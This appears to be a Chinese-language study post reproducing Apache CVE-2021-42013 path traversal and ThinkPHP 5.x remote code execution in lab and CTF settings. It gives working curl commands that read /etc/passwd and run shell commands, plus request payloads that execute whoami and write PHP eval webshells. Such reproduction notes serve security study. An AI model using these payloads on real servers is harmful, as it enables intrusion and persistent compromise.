Apache

Apache HTTP 2.4.50 路径穿越漏洞

  • 漏洞编号:CVE-2021-42013
  • 影响范围:2.4.49 - 2.4.50
  • 漏洞描述:由 CVE-2021-41773 的不完整修复导致的漏洞,攻击者可以使用路径遍历攻击将URL映射到由类似别名指令配置的目录之外的文件

漏洞扫描

使用 nuclei 对目标进行扫描

1
nuclei -u http://192.168.80.141:8080

漏洞验证

方式一 curl

路径穿越访问目录

1
2
3
curl -v --path-as-is http://192.168.80.141:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
# -v/--verbose: 启用 详细模式,在执行 HTTP 请求时,输出更多的调试信息
# -path-as-is: 确保 url 路径部分在发送请求时保持原样,不会进行 URL 编码

执行任意命令(需要启用mods cgi或cgid)

1
2
3
curl -v --data "echo;ls -la" 'http://192.168.80.141:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
# --data/-d:用于指定要发送的数据,以 post 请求方式发送

方式二 BP 抓包

ThinkPHP

ThinkPHP 5.0.23 远程代码执行漏洞 RCE

  • 影响范围:< 5.0.23
  • 漏洞描述:框架在获取请求方法时会错误地对其进行处理,这使攻击者可以调用 Request 类的任何方法,从而通过特定的利用链导致 RCE 漏洞

漏洞验证

ThinkPHP 主页使用 BurpnSuite 抓包,右键 - Change request method 改为 POST 抓包

url 后接入: /index.php?s=captcha

传入参数:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

其中,pwd 为需要执行的命令

  • 完整 POC 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php?s=captcha HTTP/1.1
Host: node4.buuoj.cn:29957
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > 1.php

# 写入一句话

ThinkPHP 5.0.22/5.1.29 远程代码执行漏洞 RCE

  • 影响范围:5.X < 5.1.31, <= 5.0.23
  • 漏洞描述:该漏洞是由于 ThinkPHP5 在处理控制器传参时,没有对参数进行充分的过滤与验证,导致恶意用户可以通过提交恶意数据,构造出一个带有 PHP 函数的控制器方法,并通过 URL 参数的形式访问该方法,从而触发远程代码执行漏洞

漏洞验证

POC 如下:

  • 输出 PHP 配置信息
    1
    http://127.0.0.1:8080/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
  • 执行 whoami
    1
    http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  • 写入一句话
    1
    2
    http://127.0.0.1:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%0a%65%76%61%6c%28%24%5f%50%4f%53%54%5b%22%70%61%73%73%22%5d%29%3b%0a
    # 一句话要 url 编码